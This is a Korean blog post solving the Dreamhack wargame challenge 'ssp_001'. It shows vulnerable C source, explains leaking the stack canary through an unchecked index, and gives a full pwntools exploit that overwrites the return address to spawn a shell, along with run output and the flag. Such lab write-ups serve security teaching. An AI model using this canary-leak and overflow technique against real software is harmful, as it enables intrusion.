Published on

[Dreamhack] ssp_001 문제 풀이

Authors

문제 개요

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

문제의 코드는 위와 같다. 문제를 간단히 설명하자면,

총 2곳에 BOF 취약점이 발생하고 보안 기법은 NX bits, Canary 총 2개가 걸려있는것을 확인할 수 있다.

get_shell 함수는 shell을 주는 함수이다. Return Address는 이걸로 선정하면 될 것 같다.

P는 위 array의 범위를 검증하지 않아서 BOF가 발생한다.

사용자가 입력한 값을 box의 index로 그대로 들어가게 되어 box 를 넘어 Canary 값을 leak 할 수 있다.

E에선 사용자가 입력한 길이만큼 name의 값을 넣을 수 있다.

첫번째 input에서 Return Address Overwrite가 가능할 정도의 긴 값(길이)를 넣고 두번째 input엔 buf(name) dummy 값 + canary + SFP dummy 값 + get_shell 함수의 주소를 넣어주면 끝난다.

작성한 시나리오대로 익스플로잇 코드를 작성해보자.

익스플로잇 코드 작성

from pwn import *
#p = remote('host1.dreamhack.games', 21093)
p = process('./ssp_001')
elf = ELF('./ssp_001')

get_shell = elf.symbols['get_shell']
canary = b''
pause()
for i in range(131, 127, -1):
    p.sendlineafter(b'> ', b'P')
    p.sendlineafter(b"Element index : ", str(i))
    p.recvuntil(b"is : ")
    canary += p.recv(2)

canary = int(canary, 16)
print(f'canary: {hex(canary)}')

payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)

p.sendlineafter(b'> ', b'E')
p.sendlineafter(b"Name Size : ", '100')
p.sendlineafter(b"Name : ", payload)

p.interactive()

위 익스플로잇 코드는 위에서 설명한 그대로를 가져왔다.

P에서 1바이트씩만 값이 나와서 for 문을 사용해서 Canary를 합쳐주는 작업을 진행했다.

Eebp ~ return address까지 계산해서 여유있게 100bytes 로 정했다.

작성한 코드로 익스플로잇을 진행해보자.

익스플로잇!!

root@18b05c8ca88f:~/dh/ssp-01# python3 ex.py 
[+] Opening connection to host1.dreamhack.games on port 8930: Done
[*] '/root/dh/ssp-01/ssp_001'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Paused (press any to continue)
/root/dh/ssp-01/ex.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b"Element index : ", str(i))
canary: 0x20727a00
/root/dh/ssp-01/ex.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline('cat flag')
[*] Switching to interactive mode
DH{00c609773822372daf2b7ef9adbdb824}

알림

시간이 조금 애매해져서 이제부턴 문제 풀이만 올릴 예정임. 참고바람.

아마 지금 학교에서 하는 사이버 가디언즈 워게임 풀이로 올릴 것 같다는..